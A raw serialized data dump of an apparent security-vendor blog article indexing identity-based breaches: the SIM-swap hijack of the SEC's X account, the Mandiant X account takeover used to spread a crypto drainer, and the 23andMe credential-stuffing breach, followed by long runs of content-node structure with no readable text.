2024",{"data":185871,"content":185872,"nodeType":866},{},[185873],{"data":185874,"marks":185875,"value":185876,"nodeType":865},{},[],"The X account for the U.S. Securities and Exchange Commission was victim to a SIM swapping attack, whereupon the attacker used the social media platform to issue a fake announcement on the approval of Bitcoin ETFs on security exchanges.",{"data":185878,"content":185879,"nodeType":866},{},[185880],{"data":185881,"marks":185882,"value":185883,"nodeType":865},{},[],"Once the threat actors controlled the number, they reset the password for the @SECGov account, and created the fake announcement. The SEC also confirmed that multi-factor authentication was not enabled on the account, as they had asked X support to disable it when they encountered problems logging into the account.",{"data":185885,"content":185886,"nodeType":972},{},[],{"data":185888,"content":185889,"nodeType":1317},{},[185890],{"data":185891,"marks":185892,"value":185893,"nodeType":865},{},[],"Mandiant X hack — January 2024",{"data":185895,"content":185896,"nodeType":866},{},[185897],{"data":185898,"marks":185899,"value":185900,"nodeType":865},{},[],"The X account for Mandiant was hacked by a Drainer-as-a-Service (DaaS) gang in a brute force attack. MFA was not enabled on the account. The threat actor used the social media account to share links redirecting to a phishing page to steal cryptocurrency. ",{"data":185902,"content":185903,"nodeType":866},{},[185904],{"data":185905,"marks":185906,"value":185907,"nodeType":865},{},[],"The attacker used a wallet drainer dubbed CLINKSINK. This same drainer has been used since December to steal funds and tokens from users of Solana cryptocurrency as part of a large-scale campaign involving at least 35 affiliate IDs linked to a shared DaaS.",{"data":185909,"content":185910,"nodeType":972},{},[],{"data":185912,"content":185913,"nodeType":1317},{},[185914],{"data":185915,"marks":185916,"value":185917,"nodeType":865},{},[],"23andMe data breach — April 2023",{"data":185919,"content":185920,"nodeType":866},{},[185921],{"data":185922,"marks":185923,"value":185924,"nodeType":865},{},[],"Genetic testing provider 23andMe confirmed that hackers downloaded the data of 6.9 million people of the existing 14 million customers after breaching around 14,000 user accounts. ",{"data":185926,"content":185927,"nodeType":866},{},[185928],{"data":185929,"marks":185930,"value":185931,"nodeType":865},{},[],"The attacker stole health reports and raw genotype data of customers affected by a credential stuffing attack that went unnoticed for five months, from April 29 to September 27. ",{"data":185933,"content":185934,"nodeType":866},{},[185935],{"data":185936,"marks":185937,"value":185938,"nodeType":865},{},[],"The credentials used by the attackers to breach the customers' accounts were stolen in other data breaches or used on previously compromised online platforms, and targeted accounts without MFA. ","Tracking identity-based attacks in the wild","To help organizations keep track of how browser-based identity attacks are evolving, we've put together this index of recent breaches.","2024-03-21T00:00:00.000Z","identity-attacks-in-the-wild",{"items":185944},[185945,185947],{"sys":185946,"name":7796},{"id":7795},{"sys":185948,"name":342},{"id":4642},{"items":185950},[185951],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":185952},{"url":7804},{"__typename":1429,"sys":185954,"content":185955,"title":171810,"synopsis":171811,"hashTags":59,"publishedDate":171812,"slug":171813,"tagsCollection":186632,"authorsCollection":186638},{"id":171047},{"json":185956},{"data":185957,"content":185958,"nodeType":1382},{},[185959,185964,185970,186012,186018,186024,186037,186043,186049,186118,186124,186129,186135,186141,186154,186160,186166,186186,186206,186211,186228,186234,186240,186267,186273,186279,186284,186301,186307,186313,186319,186325,186330,186347,186353,186359,186365,186371,186376,186393,186399,186405,186410,186427,186433,186439,186445,186487,186493,186554,186567,186572,186578,186584,186590,186596,186611,186617],{"data":185960,"content":185963,"nodeType":912},{"target":185961},{"sys":185962},{"id":171056,"type":909,"linkType":910},[],{"data":185965,"content":185966,"nodeType":866},{},[185967],{"data":185968,"marks":185969,"value":171064,"nodeType":865},{},[],{"data":185971,"content":185972,"nodeType":866},{},[185973,185976,185982,185985,185991,185994,186000,186003,186009],{"data":185974,"marks":185975,"value":171071,"nodeType":865},{},[],{"data":185977,"content":185978,"nodeType":889},{"uri":171074},[185979],{"data":185980,"marks":185981,"value":171079,"nodeType":865},{},[],{"data":185983,"marks":185984,"value":2688,"nodeType":865},{},[],{"data":185986,"content":185987,"nodeType":889},{"uri":171085},[185988],{"data":185989,"marks":185990,"value":171090,"nodeType":865},{},[],{"data":185992,"marks":185993,"value":2688,"nodeType":865},{},[],{"data":185995,"content":185996,"nodeType":889},{"uri":1063},[185997],{"data":185998,"marks":185999,"value":171100,"nodeType":865},{},[],{"data":186001,"marks":186002,"value":2688,"nodeType":865},{},[],{"data":186004,"content":186005,"nodeType":889},{"uri":171106},[186006],{"data":186007,"marks":186008,"value":171111,"nodeType":865},{},[],{"data":186010,"marks":186011,"value":171115,"nodeType":865},{},[],{"data":186013,"content":186014,"nodeType":866},{},[186015],{"data":186016,"marks":186017,"value":171122,"nodeType":865},{},[],{"data":186019,"content":186020,"nodeType":866},{},[186021],{"data":186022,"marks":186023,"value":171129,"nodeType":865},{},[],{"data":186025,"content":186026,"nodeType":866},{},[186027,186030,186034],{"data":186028,"marks":186029,"value":171136,"nodeType":865},{},[],{"data":186031,"marks":186032,"value":171141,"nodeType":865},{},[186033],{"type":926},{"data":186035,"marks":186036,"value":1615,"nodeType":865},{},[],{"data":186038,"content":186039,"nodeType":866},{},[186040],{"data":186041,"marks":186042,"value":171151,"nodeType":865},{},[],{"data":186044,"content":186045,"nodeType":866},{},[186046],{"data":186047,"marks":186048,"value":171158,"nodeType":865},{},[],{"data":186050,"content":186051,"nodeType":1616},{},[186052,186077],{"data":186053,"content":186054,"nodeType":1570},{},[186055],{"data":186056,"content":186057,"nodeType":866},{},[186058,186062,186065,186074],{"data":186059,"marks":186060,"value":171172,"nodeType":865},{},[186061],{"type":926},{"data":186063,"marks":186064,"value":171176,"nodeType":865},{},[],{"data":186066,"content":186069,"nodeType":33606},{"target":186067},{"sys":186068},{"id":171181,"type":909,"linkType":910},[186070],{"data":186071,"marks":186072,"value":136538,"nodeType":865},{},[186073],{"type":926},{"data":186075,"marks":186076,"value":171190,"nodeType":865},{},[],{"data":186078,"content":186079,"nodeType":1570},{},[186080],{"data":186081,"content":186082,"nodeType":866},{},[186083,186087,186090,186096,186099,186105,186108,186115],{"data":186084,"marks":186085,"value":171201,"nodeType":865},{},[186086],{"type":926},{"data":186088,"marks":186089,"value":171205,"nodeType":865},{},[],{"data":186091,"content":186092,"nodeType":889},{"uri":168173},[186093],{"data":186094,"marks":186095,"value":171212,"nodeType":865},{},[],{"data":186097,"marks":186098,"value":2717,"nodeType":865},{},[],{"data":186100,"content":186101,"nodeType":889},{"uri":126491},[186102],{"data":186103,"marks":186104,"value":171222,"nodeType":865},{},[],{"data":186106,"marks":186107,"value":171226,"nodeType":865},{},[],{"data":186109,"content":186110,"nodeType":889},{"uri":171229},[186111],{"data":186112,"marks":186113,"value":58511,"nodeType":865},{},[186114],{"type":926},{"data":186116,"marks":186117,"value":171238,"nodeType":865},{},[],{"data":186119,"content":186120,"nodeType":866},{},[186121],{"data":186122,"marks":186123,"value":171245,"nodeType":865},{},[],{"data":186125,"content":186128,"nodeType":912},{"target":186126},{"sys":186127},{"id":161934,"type":909,"linkType":910},[],{"data":186130,"content":186131,"nodeType":981},{},[186132],{"data":186133,"marks":186134,"value":171257,"nodeType":865},{},[],{"data":186136,"content":186137,"nodeType":866},{},[186138],{"data":186139,"marks":186140,"value":171264,"nodeType":865},{},[],{"data":186142,"content":186143,"nodeType":866},{},[186144,186147,186151],{"data":186145,"marks":186146,"value":171271,"nodeType":865},{},[],{"data":186148,"marks":186149,"value":136538,"nodeType":865},{},[186150],{"type":926},{"data":186152,"marks":186153,"value":171279,"nodeType":865},{},[],{"data":186155,"content":186156,"nodeType":866},{},[186157],{"data":186158,"marks":186159,"value":171286,"nodeType":865},{},[],{"data":186161,"content":186162,"nodeType":1317},{},[186163],{"data":186164,"marks":186165,"value":79859,"nodeType":865},{},[],{"data":186167,"content":186168,"nodeType":866},{},[186169,186172,186176,186179,186183],{"data":186170,"marks":186171,"value":171299,"nodeType":865},{},[],{"data":186173,"marks":186174,"value":171304,"nodeType":865},{},[186175],{"type":926},{"data":186177,"marks":186178,"value":4988,"nodeType":865},{},[],{"data":186180,"marks":186181,"value":171312,"nodeType":865},{},[186182],{"type":926},{"data":186184,"marks":186185,"value":1615,"nodeType":865},{},[],{"data":186187,"content":186188,"nodeType":866},{},[186189,186192,186196,186199,186203],{"data":186190,"marks":186191,"value":171322,"nodeType":865},{},[],{"data":186193,"marks":186194,"value":58533,"nodeType":865},{},[186195],{"type":926},{"data":186197,"marks":186198,"value":53880,"nodeType":865},{},[],{"data":186200,"marks":186201,"value":58541,"nodeType":865},{},[186202],{"type":926},{"data":186204,"marks":186205,"value":171337,"nodeType":865},{},[],{"data":186207,"content":186210,"nodeType":912},{"target":186208},{"sys":186209},{"id":155838,"type":909,"linkType":910},[],{"data":186212,"content":186213,"nodeType":866},{},[186214,186217,186225],{"data":186215,"marks":186216,"value":171349,"nodeType":865},{},[],{"data":186218,"content":186221,"nodeType":33606},{"target":186219},{"sys":186220},{"id":57941,"type":909,"linkType":910},[186222],{"data":186223,"marks":186224,"value":171358,"nodeType":865},{},[],{"data":186226,"marks":186227,"value":21,"nodeType":865},{},[],{"data":186229,"content":186230,"nodeType":1317},{},[186231],{"data":186232,"marks":186233,"value":131656,"nodeType":865},{},[],{"data":186235,"content":186236,"nodeType":866},{},[186237],{"data":186238,"marks":186239,"value":171374,"nodeType":865},{},[],{"data":186241,"content":186242,"nodeType":866},{},[186243,186246,186250,186253,186257,186260,186264],{"data":186244,"marks":186245,"value":171381,"nodeType":865},{},[],{"data":186247,"marks":186248,"value":58533,"nodeType":865},{},[186249],{"type":926},{"data":186251,"marks":186252,"value":53880,"nodeType":865},{},[],{"data":186254,"marks":186255,"value":58541,"nodeType":865},{},[186256],{"type":926},{"data":186258,"marks":186259,"value":171396,"nodeType":865},{},[],{"data":186261,"marks":186262,"value":58494,"nodeType":865},{},[186263],{"type":926},{"data":186265,"marks":186266,"value":171404,"nodeType":865},{},[],{"data":186268,"content":186269,"nodeType":866},{},[186270],{"data":186271,"marks":186272,"value":171411,"nodeType":865},{},[],{"data":186274,"content":186275,"nodeType":866},{},[186276],{"data":186277,"marks":186278,"value":171418,"nodeType":865},{},[],{"data":186280,"content":186283,"nodeType":912},{"target":186281},{"sys":186282},{"id":171423,"type":909,"linkType":910},[],{"data":186285,"content":186286,"nodeType":866},{},[186287,186290,186298],{"data":186288,"marks":186289,"value":171349,"nodeType":865},{},[],{"data":186291,"content":186294,"nodeType":33606},{"target":186292},{"sys":186293},{"id":58195,"type":909,"linkType":910},[186295],{"data":186296,"marks":186297,"value":131656,"nodeType":865},{},[],{"data":186299,"marks":186300,"value":21,"nodeType":865},{},[],{"data":186302,"content":186303,"nodeType":1317},{},[186304],{"data":186305,"marks":186306,"value":156676,"nodeType":865},{},[],{"data":186308,"content":186309,"nodeType":866},{},[186310],{"data":186311,"marks":186312,"value":171454,"nodeType":865},{},[],{"data":186314,"content":186315,"nodeType":866},{},[186316],{"data":186317,"marks":186318,"value":171461,"nodeType":865},{},[],{"data":186320,"content":186321,"nodeType":866},{},[186322],{"data":186323,"marks":186324,"value":171468,"nodeType":865},{},[],{"data":186326,"content":186329,"nodeType":912},{"target":186327},{"sys":186328},{"id":171473,"type":909,"linkType":910},[],{"data":186331,"content":186332,"nodeType":866},{},[186333,186336,186344],{"data":186334,"marks":186335,"value":171349,"nodeType":865},{},[],{"data":186337,"content":186340,"nodeType":33606},{"target":186338},{"sys":186339},{"id":171485,"type":909,"linkType":910},[186341],{"data":186342,"marks":186343,"value":156676,"nodeType":865},{},[],{"data":186345,"marks":186346,"value":21,"nodeType":865},{},[],{"data":186348,"content":186349,"nodeType":1317},{},[186350],{"data":186351,"marks":186352,"value":171499,"nodeType":865},{},[],{"data":186354,"content":186355,"nodeType":866},{},[186356],{"data":186357,"marks":186358,"value":171506,"nodeType":865},{},[],{"data":186360,"content":186361,"nodeType":866},{},[186362],{"data":186363,"marks":186364,"value":171513,"nodeType":865},{},[],{"data":186366,"content":186367,"nodeType":866},{},[186368],{"data":186369,"marks":186370,"value":171520,"nodeType":865},{},[],{"data":186372,"content":186375,"nodeType":912},{"target":186373},{"sys":186374},{"id":171525,"type":909,"linkType":910},[],{"data":186377,"content":186378,"nodeType":866},{},[186379,186382,186390],{"data":186380,"marks":186381,"value":171349,"nodeType":865},{},[],{"data":186383,"content":186386,"nodeType":33606},{"target":186384},{"sys":186385},{"id":126746,"type":909,"linkType":910},[186387],{"data":186388,"marks":186389,"value":126752,"nodeType":865},{},[],{"data":186391,"marks":186392,"value":21,"nodeType":865},{},[],{"data":186394,"content":186395,"nodeType":1317},{},[186396],{"data":186397,"marks":186398,"value":58424,"nodeType":865},{},[],{"data":186400,"content":186401,"nodeType":866},{},[186402],{"data":186403,"marks":186404,"value":171556,"nodeType":865},{},[],{"data":186406,"content":186409,"nodeType":912},{"target":186407},{"sys":186408},{"id":171561,"type":909,"linkType":910},[],{"data":186411,"content":186412,"nodeType":866},{},[186413,186416,186424],{"data":186414,"marks":186415,"value":171349,"nodeType":865},{},[],{"data":186417,"content":186420,"nodeType":33606},{"target":186418},{"sys":186419},{"id":58256,"type":909,"linkType":910},[186421],{"data":186422,"marks":186423,"value":132450,"nodeType":865},{},[],{"data":186425,"marks":186426,"value":21,"nodeType":865},{},[],{"data":186428,"content":186429,"nodeType":981},{},[186430],{"data":186431,"marks":186432,"value":171586,"nodeType":865},{},[],{"data":186434,"content":186435,"nodeType":866},{},[186436],{"data":186437,"marks":186438,"value":171593,"nodeType":865},{},[],{"data":186440,"content":186441,"nodeType":866},{},[186442],{"data":186443,"marks":186444,"value":171600,"nodeType":865},{},[],{"data":186446,"content":186447,"nodeType":1616},{},[186448,186461,186474],{"data":186449,"content":186450,"nodeType":1570},{},[186451],{"data":186452,"content":186453,"nodeType":866},{},[186454,186458],{"data":186455,"marks":186456,"value":156987,"nodeType":865},{},[186457],{"type":926},{"data":186459,"marks":186460,"value":156991,"nodeType":865},{},[],{"data":186462,"content":186463,"nodeType":1570},{},[186464],{"data":186465,"content":186466,"nodeType":866},{},[186467,186471],{"data":186468,"marks":186469,"value":157002,"nodeType":865},{},[186470],{"type":926},{"data":186472,"marks":186473,"value":157006,"nodeType":865},{},[],{"data":186475,"content":186476,"nodeType":1570},{},[186477],{"data":186478,"content":186479,"nodeType":866},{},[186480,186484],{"data":186481,"marks":186482,"value":157017,"nodeType":865},{},[186483],{"type":926},{"data":186485,"marks":186486,"value":157021,"nodeType":865},{},[],{"data":186488,"content":186489,"nodeType":866},{},[186490],{"data":186491,"marks":186492,"value":171649,"nodeType":865},{},[],{"data":186494,"content":186495,"nodeType":1616},{},[186496,186512,186528,186541],{"data":186497,"content":186498,"nodeType":1570},{},[186499],{"data":186500,"content":186501,"nodeType":866},{},[186502,186505,186509],{"data":186503,"marks":186504,"value":171662,"nodeType":865},{},[],{"data":186506,"marks":186507,"value":171667,"nodeType":865},{},[186508],{"type":926},{"data":186510,"marks":186511,"value":157055,"nodeType":865},{},[],{"data":186513,"content":186514,"nodeType":1570},{},[186515],{"data":186516,"content":186517,"nodeType":866},{},[186518,186521,186525],{"data":186519,"marks":186520,"value":171680,"nodeType":865},{},[],{"data":186522,"marks":186523,"value":171685,"nodeType":865},{},[186524],{"type":926},{"data":186526,"marks":186527,"value":171689,"nodeType":865},{},[],{"data":186529,"content":186530,"nodeType":1570},{},[186531],{"data":186532,"content":186533,"nodeType":866},{},[186534,186538],{"data":186535,"marks":186536,"value":171700,"nodeType":865},{},[186537],{"type":926},{"data":186539,"marks":186540,"value":171704,"nodeType":865},{},[],{"data":186542,"content":186543,"nodeType":1570},{},[186544],{"data":186545,"content":186546,"nodeType":866},{},[186547,186551],{"data":186548,"marks":186549,"value":171715,"nodeType":865},{},[186550],{"type":926},{"data":186552,"marks":186553,"value":171719,"nodeType":865},{},[],{"data":186555,"content":186556,"nodeType":866},{},[186557,186560,186564],{"data":186558,"marks":186559,"value":171726,"nodeType":865},{},[],{"data":186561,"marks":186562,"value":58511,"nodeType":865},{},[186563],{"type":926},{"data":186565,"marks":186566,"value":171734,"nodeType":865},{},[],{"data":186568,"content":186571,"nodeType":912},{"target":186569},{"sys":186570},{"id":171739,"type":909,"linkType":910},[],{"data":186573,"content":186574,"nodeType":866},{},[186575],{"data":186576,"marks":186577,"value":171747,"nodeType":865},{},[],{"data":186579,"content":186580,"nodeType":981},{},[186581],{"data":186582,"marks":186583,"value":171754,"nodeType":865},{},[],{"data":186585,"content":186586,"nodeType":866},{},[186587],{"data":186588,"marks":186589,"value":171761,"nodeType":865},{},[],{"data":186591,"content":186592,"nodeType":866},{},[186593],{"data":186594,"marks":186595,"value":171768,"nodeType":865},{},[],{"data":186597,"content":186598,"nodeType":866},{},[186599,186602,186608],{"data":186600,"marks":186601,"value":171775,"nodeType":865},{},[],{"data":186603,"content":186604,"nodeType":889},{"uri":126491},[186605],{"data":186606,"marks":186607,"value":171782,"nodeType":865},{},[],{"data":186609,"marks":186610,"value":171786,"nodeType":865},{},[],{"data":186612,"content":186613,"nodeType":981},{},[186614],{"data":186615,"marks":186616,"value":113824,"nodeType":865},{},[],{"data":186618,"content":186619,"nodeType":866},{},[186620,186623,186629],{"data":186621,"marks":186622,"value":171799,"nodeType":865},{},[],{"data":186624,"content":186625,"nodeType":889},{"uri":126947},[186626],{"data":186627,"marks":186628,"value":14066,"nodeType":865},{},[],{"data":186630,"marks":186631,"value":171809,"nodeType":865},{},[],{"items":186633},[186634,186636],{"sys":186635,"name":126984},{"id":126983},{"sys":186637,"name":342},{"id":4642},{"items":186639},[186640],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":186641},{"url":6503},{"__typename":1429,"sys":186643,"content":186644,"title":181522,"synopsis":181523,"hashTags":59,"publishedDate":181524,"slug":181525,"tagsCollection":187362,"authorsCollection":187368},{"id":156348},{"json":186645},{"data":186646,"content":186647,"nodeType":1382},{},[186648,186654,186660,186666,186692,186698,186704,186719,186725,186731,186746,186752,186758,186764,186769,186775,186814,186820,186826,186832,186853,186859,186865,186871,186913,186919,186925,186931,186937,186947,186953,186960,186966,186995,187001,187007,187013,187019,187079,187086,187092,187098,187128,187134,187141,187147,187153,187163,187176,187202,187218,187224,187239,187245,187251,187266,187272,187278,187284,187314,187320,187336,187351,187356],{"data":186649,"content":186650,"nodeType":866},{},[186651],{"data":186652,"marks":186653,"value":180718,"nodeType":865},{},[],{"data":186655,"content":186656,"nodeType":866},{},[186657],{"data":186658,"marks":186659,"value":180725,"nodeType":865},{},[],{"data":186661,"content":186662,"nodeType":866},{},[186663],{"data":186664,"marks":186665,"value":180732,"nodeType":865},{},[],{"data":186667,"content":186668,"nodeType":866},{},[186669,186672,186679,186682,186689],{"data":186670,"marks":186671,"value":21,"nodeType":865},{},[],{"data":186673,"content":186674,"nodeType":889},{"uri":53259},[186675],{"data":186676,"marks":186677,"value":395,"nodeType":865},{},[186678],{"type":943},{"data":186680,"marks":186681,"value":180749,"nodeType":865},{},[],{"data":186683,"content":186684,"nodeType":889},{"uri":169182},[186685],{"data":186686,"marks":186687,"value":169188,"nodeType":865},{},[186688],{"type":943},{"data":186690,"marks":186691,"value":180760,"nodeType":865},{},[],{"data":186693,"content":186694,"nodeType":981},{},[186695],{"data":186696,"marks":186697,"value":180767,"nodeType":865},{},[],{"data":186699,"content":186700,"nodeType":866},{},[186701],{"data":186702,"marks":186703,"value":180774,"nodeType":865},{},[],{"data":186705,"content":186706,"nodeType":866},{},[186707,186710,186716],{"data":186708,"marks":186709,"value":180781,"nodeType":865},{},[],{"data":186711,"content":186712,"nodeType":889},{"uri":6698},[186713],{"data":186714,"marks":186715,"value":180788,"nodeType":865},{},[],{"data":186717,"marks":186718,"value":6719,"nodeType":865},{},[],{"data":186720,"content":186721,"nodeType":1317},{},[186722],{"data":186723,"marks":186724,"value":180798,"nodeType":865},{},[],{"data":186726,"content":186727,"nodeType":866},{},[186728],{"data":186729,"marks":186730,"value":180805,"nodeType":865},{},[],{"data":186732,"content":186733,"nodeType":866},{},[186734,186737,186743],{"data":186735,"marks":186736,"value":180812,"nodeType":865},{},[],{"data":186738,"content":186739,"nodeType":889},{"uri":6698},[186740],{"data":186741,"marks":186742,"value":180819,"nodeType":865},{},[],{"data":186744,"marks":186745,"value":180823,"nodeType":865},{},[],{"data":186747,"content":186748,"nodeType":866},{},[186749],{"data":186750,"marks":186751,"value":180830,"nodeType":865},{},[],{"data":186753,"content":186754,"nodeType":1317},{},[186755],{"data":186756,"marks":186757,"value":180837,"nodeType":865},{},[],{"data":186759,"content":186760,"nodeType":866},{},[186761],{"data":186762,"marks":186763,"value":180844,"nodeType":865},{},[],{"data":186765,"content":186768,"nodeType":912},{"target":186766},{"sys":186767},{"id":180849,"type":909,"linkType":910},[],{"data":186770,"content":186771,"nodeType":866},{},[186772],{"data":186773,"marks":186774,"value":180857,"nodeType":865},{},[],{"data":186776,"content":186777,"nodeType":1616},{},[186778,186787,186796,186805],{"data":186779,"content":186780,"nodeType":1570},{},[186781],{"data":186782,"content":186783,"nodeType":866},{},[186784],{"data":186785,"marks":186786,"value":180870,"nodeType":865},{},[],{"data":186788,"content":186789,"nodeType":1570},{},[186790],{"data":186791,"content":186792,"nodeType":866},{},[186793],{"data":186794,"marks":186795,"value":180880,"nodeType":865},{},[],{"data":186797,"content":186798,"nodeType":1570},{},[186799],{"data":186800,"content":186801,"nodeType":866},{},[186802],{"data":186803,"marks":186804,"value":180890,"nodeType":865},{},[],{"data":186806,"content":186807,"nodeType":1570},{},[186808],{"data":186809,"content":186810,"nodeType":866},{},[186811],{"data":186812,"marks":186813,"value":180900,"nodeType":865},{},[],{"data":186815,"content":186816,"nodeType":866},{},[186817],{"data":186818,"marks":186819,"value":180907,"nodeType":865},{},[],{"data":186821,"content":186822,"nodeType":1317},{},[186823],{"data":186824,"marks":186825,"value":180914,"nodeType":865},{},[],{"data":186827,"content":186828,"nodeType":866},{},[186829],{"data":186830,"marks":186831,"value":180921,"nodeType":865},{},[],{"data":186833,"content":186834,"nodeType":1616},{},[186835,186844],{"data":186836,"content":186837,"nodeType":1570},{},[186838],{"data":186839,"content":186840,"nodeType":866},{},[186841],{"data":186842,"marks":186843,"value":180934,"nodeType":865},{},[],{"data":186845,"content":186846,"nodeType":1570},{},[186847],{"data":186848,"content":186849,"nodeType":866},{},[186850],{"data":186851,"marks":186852,"value":180944,"nodeType":865},{},[],{"data":186854,"content":186855,"nodeType":866},{},[186856],{"data":186857,"marks":186858,"value":180951,"nodeType":865},{},[],{"data":186860,"content":186861,"nodeType":1317},{},[186862],{"data":186863,"marks":186864,"value":180958,"nodeType":865},{},[],{"data":186866,"content":186867,"nodeType":866},{},[186868],{"data":186869,"marks":186870,"value":180965,"nodeType":865},{},[],{"data":186872,"content":186873,"nodeType":1616},{},[186874,186887,186900],{"data":186875,"content":186876,"nodeType":1570},{},[186877],{"data":186878,"content":186879,"nodeType":866},{},[186880,186884],{"data":186881,"marks":186882,"value":180979,"nodeType":865},{},[186883],{"type":926},{"data":186885,"marks":186886,"value":180983,"nodeType":865},{},[],{"data":186888,"content":186889,"nodeType":1570},{},[186890],{"data":186891,"content":186892,"nodeType":866},{},[186893,186897],{"data":186894,"marks":186895,"value":180994,"nodeType":865},{},[186896],{"type":926},{"data":186898,"marks":186899,"value":180998,"nodeType":865},{},[],{"data":186901,"content":186902,"nodeType":1570},{},[186903],{"data":186904,"content":186905,"nodeType":866},{},[186906,186910],{"data":186907,"marks":186908,"value":181009,"nodeType":865},{},[186909],{"type":926},{"data":186911,"marks":186912,"value":181013,"nodeType":865},{},[],{"data":186914,"content":186915,"nodeType":866},{},[186916],{"data":186917,"marks":186918,"value":181020,"nodeType":865},{},[],{"data":186920,"content":186921,"nodeType":866},{},[186922],{"data":186923,"marks":186924,"value":181027,"nodeType":865},{},[],{"data":186926,"content":186927,"nodeType":866},{},[186928],{"data":186929,"marks":186930,"value":181034,"nodeType":865},{},[],{"data":186932,"content":186933,"nodeType":981},{},[186934],{"data":186935,"marks":186936,"value":181041,"nodeType":865},{},[],{"data":186938,"content":186939,"nodeType":866},{},[186940,186944],{"data":186941,"marks":186942,"value":181049,"nodeType":865},{},[186943],{"type":926},{"data":186945,"marks":186946,"value":181053,"nodeType":865},{},[],{"data":186948,"content":186949,"nodeType":866},{},[186950],{"data":186951,"marks":186952,"value":181060,"nodeType":865},{},[],{"data":186954,"content":186955,"nodeType":866},{},[186956],{"data":186957,"marks":186958,"value":181068,"nodeType":865},{},[186959],{"type":926},{"data":186961,"content":186962,"nodeType":866},{},[186963],{"data":186964,"marks":186965,"value":181075,"nodeType":865},{},[],{"data":186967,"content":186968,"nodeType":1616},{},[186969,186982],{"data":186970,"content":186971,"nodeType":1570},{},[186972],{"data":186973,"content":186974,"nodeType":866},{},[186975,186979],{"data":186976,"marks":186977,"value":181089,"nodeType":865},{},[186978],{"type":926},{"data":186980,"marks":186981,"value":181093,"nodeType":865},{},[],{"data":186983,"content":186984,"nodeType":1570},{},[186985],{"data":186986,"content":186987,"nodeType":866},{},[186988,186992],{"data":186989,"marks":186990,"value":181104,"nodeType":865},{},[186991],{"type":926},{"data":186993,"marks":186994,"value":181108,"nodeType":865},{},[],{"data":186996,"content":186997,"nodeType":866},{},[186998],{"data":186999,"marks":187000,"value":181115,"nodeType":865},{},[],{"data":187002,"content":187003,"nodeType":1317},{},[187004],{"data":187005,"marks":187006,"value":181122,"nodeType":865},{},[],{"data":187008,"content":187009,"nodeType":866},{},[187010],{"data":187011,"marks":187012,"value":181129,"nodeType":865},{},[],{"data":187014,"content":187015,"nodeType":866},{},[187016],{"data":187017,"marks":187018,"value":181136,"nodeType":865},{},[],{"data":187020,"content":187021,"nodeType":1616},{},[187022,187041,187060],{"data":187023,"content":187024,"nodeType":1570},{},[187025],{"data":187026,"content":187027,"nodeType":866},{},[187028,187031,187038],{"data":187029,"marks":187030,"value":181149,"nodeType":865},{},[],{"data":187032,"content":187033,"nodeType":889},{"uri":131785},[187034],{"data":187035,"marks":187036,"value":8641,"nodeType":865},{},[187037],{"type":943},{"data":187039,"marks":187040,"value":46245,"nodeType":865},{},[],{"data":187042,"content":187043,"nodeType":1570},{},[187044],{"data":187045,"content":187046,"nodeType":866},{},[187047,187050,187057],{"data":187048,"marks":187049,"value":162124,"nodeType":865},{},[],{"data":187051,"content":187052,"nodeType":889},{"uri":4147},[187053],{"data":187054,"marks":187055,"value":53721,"nodeType":865},{},[187056],{"type":943},{"data":187058,"marks":187059,"value":46245,"nodeType":865},{},[],{"data":187061,"content":187062,"nodeType":1570},{},[187063],{"data":187064,"content":187065,"nodeType":866},{},[187066,187069,187076],{"data":187067,"marks":187068,"value":162062,"nodeType":865},{},[],{"data":187070,"content":187071,"nodeType":889},{"uri":162065},[187072],{"data":187073,"marks":187074,"value":162071,"nodeType":865},{},[187075],{"type":943},{"data":187077,"marks":187078,"value":46245,"nodeType":865},{},[],{"data":187080,"content":187081,"nodeType":866},{},[187082],{"data":187083,"marks":187084,"value":181205,"nodeType":865},{},[187085],{"type":926},{"data":187087,"content":187088,"nodeType":866},{},[187089],{"data":187090,"marks":187091,"value":181212,"nodeType":865},{},[],{"data":187093,"content":187094,"nodeType":866},{},[187095],{"data":187096,"marks":187097,"value":181219,"nodeType":865},{},[],{"data":187099,"content":187100,"nodeType":1616},{},[187101,187119],{"data":187102,"content":187103,"nodeType":1570},{},[187104],{"data":187105,"content":187106,"nodeType":866},{},[187107,187110,187116],{"data":187108,"marks":187109,"value":181232,"nodeType":865},{},[],{"data":187111,"content":187112,"nodeType":889},{"uri":6698},[187113],{"data":187114,"marks":187115,"value":181239,"nodeType":865},{},[],{"data":187117,"marks":187118,"value":181243,"nodeType":865},{},[],{"data":187120,"content":187121,"nodeType":1570},{},[187122],{"data":187123,"content":187124,"nodeType":866},{},[187125],{"data":187126,"marks":187127,"value":181253,"nodeType":865},{},[],{"data":187129,"content":187130,"nodeType":866},{},[187131],{"data":187132,"marks":187133,"value":181260,"nodeType":865},{},[],{"data":187135,"content":187136,"nodeType":866},{},[187137],{"data":187138,"marks":187139,"value":181268,"nodeType":865},{},[187140],{"type":926},{"data":187142,"content":187143,"nodeType":1317},{},[187144],{"data":187145,"marks":187146,"value":181275,"nodeType":865},{},[],{"data":187148,"content":187149,"nodeType":866},{},[187150],{"data":187151,"marks":187152,"value":181282,"nodeType":865},{},[],{"data":187154,"content":187155,"nodeType":866},{},[187156,187159],{"data":187157,"marks":187158,"value":181289,"nodeType":865},{},[],{"data":187160,"marks":187161,"value":181294,"nodeType":865},{},[187162],{"type":926},{"data":187164,"content":187165,"nodeType":866},{},[187166,187169,187173],{"data":187167,"marks":187168,"value":181301,"nodeType":865},{},[],{"data":187170,"marks":187171,"value":181306,"nodeType":865},{},[187172],{"type":926},{"data":187174,"marks":187175,"value":181310,"nodeType":865},{},[],{"data":187177,"content":187178,"nodeType":866},{},[187179,187182,187189,187192,187199],{"data":187180,"marks":187181,"value":181317,"nodeType":865},{},[],{"data":187183,"content":187184,"nodeType":889},{"uri":105869},[187185],{"data":187186,"marks":187187,"value":105875,"nodeType":865},{},[187188],{"type":943},{"data":187190,"marks":187191,"value":181328,"nodeType":865},{},[],{"data":187193,"content":187194,"nodeType":889},{"uri":105882},[187195],{"data":187196,"marks":187197,"value":181336,"nodeType":865},{},[187198],{"type":943},{"data":187200,"marks":187201,"value":40358,"nodeType":865},{},[],{"data":187203,"content":187204,"nodeType":866},{},[187205,187208,187215],{"data":187206,"marks":187207,"value":181346,"nodeType":865},{},[],{"data":187209,"content":187210,"nodeType":889},{"uri":54386},[187211],{"data":187212,"marks":187213,"value":181354,"nodeType":865},{},[187214],{"type":943},{"data":187216,"marks":187217,"value":113401,"nodeType":865},{},[],{"data":187219,"content":187220,"nodeType":981},{},[187221],{"data":187222,"marks":187223,"value":181364,"nodeType":865},{},[],{"data":187225,"content":187226,"node